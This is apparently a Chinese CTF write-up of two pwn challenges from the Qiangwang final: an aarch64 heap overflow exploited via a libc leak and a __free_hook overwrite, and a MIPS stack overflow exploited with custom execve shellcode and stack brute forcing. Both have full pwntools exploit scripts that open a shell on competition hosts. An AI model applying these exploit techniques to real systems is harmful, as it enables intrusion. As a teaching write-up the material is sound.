强网决赛拟态WP

白盒黑盒啥的我一点都不会,只会做点CTF然后给大佬们加油!那些什么简单题就不说了,总结一下比较有意思的。

一、oneaarch

这是个aarch架构的简单堆溢出的题,由于做的时候,本地环境没有搭的太好,也不太会在PIE的时候断点调试,直接就是盲堆,所以花了挺长时间。

另外还说一点的就是本题的设计还不错,是通过字节来进行堆的布置的,也就是只能发送一次数据,然后依据这里面的数据来进行堆的申请与释放,不符合规则的就无法正确操作。如果把这个思路用在x86_64的架构下,那么很多需要泄露地址的堆题直接就没办法做了,还是很有意思的。

但是这里由于qemu模拟的关系,在PIE的条件下,无论启动多少次,程序的基地址还是不变的,相当于是个简单版的PIE+ASLR。而在这题里,由于只能发送一次payload,所以这里我们可以先泄露地址,然后再进行getshell。

1.泄露地址

利用堆溢出修改size进入Unsortedbin泄露地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
add(0,0xf8)
add(1,0xf8)
add(2,0xf8)
add(3,0xf8)
add(4,0xf8)
add(5,0xf8)
add(6,0xf8)
edit(0,0xf8+2,'PIG007NB'*(0xf8/8)+p16(0x501))

delete(5)
delete(4)
delete(3)
delete(2)
delete(1)

add(1,0x78)
add(2,0x78)
add(3,0x78)
p.recv()
sleep(1)
edit(1,0x8,"B"*8)
show(1)

ru('B'*8)
leak = uu32(rc(3))
libc_base = leak- 0x000658 - libc.sym['_IO_2_1_stdin_']
lg("libc_base",libc_base)

这里泄露地址的时候需要注意一下aarch架构的libc加载的区别,一定是0x4000000000打头的。同时由\x00的截断我们只能获取到后面的几个不是\x00的数据,那么得到数据之后减去偏移再加上0x4000000000即可。

2.getshell

这里就直接贴总的wp了,也就是正常的溢出加劫持fd为free_hook,打free_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *
import struct
import os

#context
#context.arch = 'amd64'
#SigreturnFrame(kernel = 'amd64')

#context.log_level = 'debug'
context(arch='aarch64')
#context(arch='arm')


binary = "./pwn"
localPort = "12345"
arch = "qemu-aarch64"
#arch = "qemu-arm"
linkLibrary = "/home/hacker/glibc/2.31/aarch"
#linkLibrary = "/home/hacker/glibc/2.27/arm"

#libc = ELF("/home/hacker/glibc/2.31/arm/lib/libc.so.6")
#libc = ELF("/home/hacker/glibc/2.31/aarch/lib/libc.so.6")
libc = ELF("./libc-2.31.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xff")[-4: ]) - offset
it = lambda :p.interactive()



global chunkPayload

remote_debug=0
remoteFlag=1
local=0
if remote_debug==1:
p = process([arch, '-L', linkLibrary, '-g', localPort, binary])
#p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', '-g', '1234', binary],env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
elif local==1:
p = process([arch, '-L', linkLibrary, binary])
elf = ELF(binary)
elif remoteFlag==1:
p = remote("172.35.30.11","9999")

def add(idx,size):
global chunkPayload
chunkPayload += '\x01'
chunkPayload += p8(idx)
chunkPayload += p16(size)

def delete(idx):
global chunkPayload
chunkPayload += '\x02'
chunkPayload += p8(idx)

def show(idx):
global chunkPayload
chunkPayload += '\x03'
chunkPayload += p8(idx)

def edit(idx,size,con):
global chunkPayload
chunkPayload += '\x04'
chunkPayload += p8(idx)
chunkPayload += p16(size)
chunkPayload += con


def mulArchDbg():
os.system("gnome-terminal -- bash -c \"gdb-multiarch -q {0} \
--eval-command='target remote localhost:{1}'\"".format(binary,localPort))
pause()
def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


chunkPayload = ""
#pause()
#mulArchDbg()
#pause()
p.recv()

remote_libc_base = 0x848000
local_libc_base = 0x845000
free_hook = remote_libc_base + libc.sym['__free_hook']
_IO_2_1_stdout = remote_libc_base + libc.sym['_IO_2_1_stdout_']
system = remote_libc_base + libc.sym['system']
lg("remote_libc_base",remote_libc_base)
lg("free_hook",free_hook)
lg("system",system)
#pause()
add(0,0xf8)
add(1,0xf8)
add(2,0xf8)
add(3,0xf8)
add(4,0xf8)
add(5,0xf8)
add(6,0xf8)
edit(0,0xf8+2,'PIG007NB'*(0xf8/8)+p16(0x501))

delete(5)
delete(4)
delete(3)
delete(2)
delete(1)

add(1,0x78)
add(2,0x78)
add(3,0x78)

# p.recv()

# sleep(1)

# edit(1,0x8,"B"*8)

# show(1)

#edit(3,0x3,p16(free_hook&0xffff)+p8(free_hook>>16))

# show(1)

edit(3,0x8,p64(0x4000000000+free_hook))

# show(1)

add(7,0xf8)
#show(7)
add(8,0xf8)
#show(8)
#edit(8,0x3,p16(system&0xffff)+p8(system>>16))
edit(8,0x8,p64(0x4000000000+system))

# show(8)

#edit(8,0x3,p16(system&0xffff)+p8(system>>16))
edit(0,8,'/bin/sh\x00')
delete(0)


p.send(chunkPayload)

# ru('B'*8)

# leak = uu32(rc(3))

# libc_base = leak- 0x000658 - libc.sym['_IO_2_1_stdin_']

# lg("libc_base",libc_base)

sleep(1)
p.recv()
pause()
p.interactive()

#flag{030fa6cc-ba7d-4b35-a847-a690953e2270}

二、eserver

这题是mips架构的pwn题,由于没有接触过,当时直接现学了一波,后面再把所有架构的pwn题整个汇总把。

栈溢出题,没开canary和NX,按理说应该可以返回到栈上直接执行shellcode。那么本地直接依照调试获取栈地址返回栈上进行shellcode,但是远程的时候需要爆破一下栈地址,也不会太多,因为PIE基本等于不存在,栈地址的起始位置大概率就是0x7ffxx000,应该只需要爆破xx这一个字节,有时候通常也是0x7ffex000,也就是半个字节即可。

此外说一下调试,怕以后忘了。由于开启了PIE,如果直接qemu模拟的话,很难确定函数的位置,不好下断点,所以这里讲一个比较常用到的方法。

调试

由于qemu和开启PIE的mips架构的特性,貌似在栈下面就是共享库的加载地址,这个做了好多实验,都是这样的,不知道为啥,应该是mips架构下开启PIE之后,文件会变成共享库的格式:

image-20211115215721252

再依据共享库加载的特性吧。

所以这里我们直接就能通过add-symbol-file File text_addr的形式来确定地址。

image-20211115215604777

这里红箭头指向的地方应该就是我们的开启PIE之后的文件加载地址,之后添加即可。

image-20211115215845957

这样在输入函数打印,即可确定

image-20211115215959158

得到如下结果,这样就能方便调试了。

image-20211115220009365

所以这里应该是有两种方法的

1.通过爆破栈进行shellcode利用

(1)编写shellcode

这里讲一下shellcode的编写

①通过栈寄存器sp来取值编写

利用lw指令,通过sp寄存器来从栈上取值赋给对应的参数寄存器,最终效果如下:

image-20211115233439670

对应的汇编生成:

1
2
3
4
5
rasm2 -a mips -b 32 -C "lw a0,-0x1e4(sp)" 	#a
rasm2 -a mips -b 32 -C "move a1,s2" #a1
rasm2 -a mips -b 32 -C "move a2,s2" #a2
rasm2 -a mips -b 32 -C "lw v0,-0x1d8(sp)" #v0
rasm2 -a mips -b 32 -C "syscall" #syscall

由于\x00的截断,所以这里选取在sp之前的数据进行获取,其实由于循环的关系,这里也可以通过重复发送数据来将\x00给输入进来,之后发送/bin/sh\x00以及syscall的时候就是用到这个的。

②利用其他寄存器

同理,由于elf_base不变,所以可以通过寄存器减去偏移获取存在bss段上的数据,一样设置,比如下图的a1和s1寄存器。

image-20211115234634536

如下的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *
import struct
import os

#context
#context.arch = 'amd64'
SigreturnFrame(kernel = 'mips')

#context.log_level = 'debug'
context(arch='mips')
#context(arch='arm')


binary = "./mipselNormal"
localPort = "12345"
version = "2.23"
arch = "mipsel"
qemu_arch = "qemu-{0}".format(arch)
linkLibrary = "/home/hacker/glibc/{0}/{1}".format(version,arch)
libc = ELF(linkLibrary+"/lib/libc-{0}.so".format(version))
#libc = ELF("./libc-2.31.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xff")[-4: ]) - offset
it = lambda :p.interactive()

global p


remote_debug=1
remoteFlag=0
local=0
if remote_debug==1:
p = process([arch, '-L', linkLibrary, '-g', localPort, binary])
#p = process([arch,'-g',localPort,binary])
#p = process([arch, '-L', '.', '-g', localPort, binary])
elf = ELF(binary)
elif local==1:
p = process([arch, '-L', linkLibrary, binary])
elf = ELF(binary)
elif remoteFlag==1:
p = remote("172.35.30.12","9999")


def mulArchDbg():
os.system("gnome-terminal -- bash -c \"gdb-multiarch -q {0} \
--eval-command='target remote localhost:{1}'\"".format(binary,localPort))
pause()
def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def send_package(content):
p.recvuntil("Input package:")
p.sendline(content)

def pwn():
global p

elf_base = 0x7ffed000
sp = elf_base - 0x1160
#sp = 0x7ffebea0
#mulArchDbg()
binsh_addr = sp-0x200+0x8 + 20 + 0x4
shellcode_addr = sp-0x200+0x8
binsh0 = '/bin/sh\x00'
binsh1 = '/bin/sh\x11'
lg("sp",sp)
lg("binsh_addr",binsh_addr)
lg("shellcode_addr",shellcode_addr)
data0_1 = '\xab\x0f\xaa'
data0_2 = '\xab\x0f'
data1 = '\xab\x0f'.ljust(4,'B')
data_addr = binsh_addr + 0x8
lg("data_addr",data_addr)
#path(v0),argv(a1),env(a2),unistd_execv(v0)
shellcode1 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x01\x01\x01"
shellcode0_1 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x11\x11\x00"
shellcode0_2 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x11\x00\x00"
shellcode0_3 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x00\x00\x00"
#shellcode = asm(shellcraft.sh())
#path(a0)
#p.sendline("EXIT")
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh1 + data1).ljust(0x1f8+4,"C") + p32(shellcode_addr))
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh1 + data0_1))
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh1 + data0_2))
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh0 + data0_2))
p.sendline(("A"*8 + shellcode0_1))
p.sendline(("A"*8 + shellcode0_2))
p.sendline(("A"*8 + shellcode0_3))
p.sendline("EXIT")
p.interactive()

pwn()

然后加个爆破脚本即可,爆破elf_base的地址,这里的sp是通过main函数返回之后进入shellcode的sp的地址。

image-20211115224101569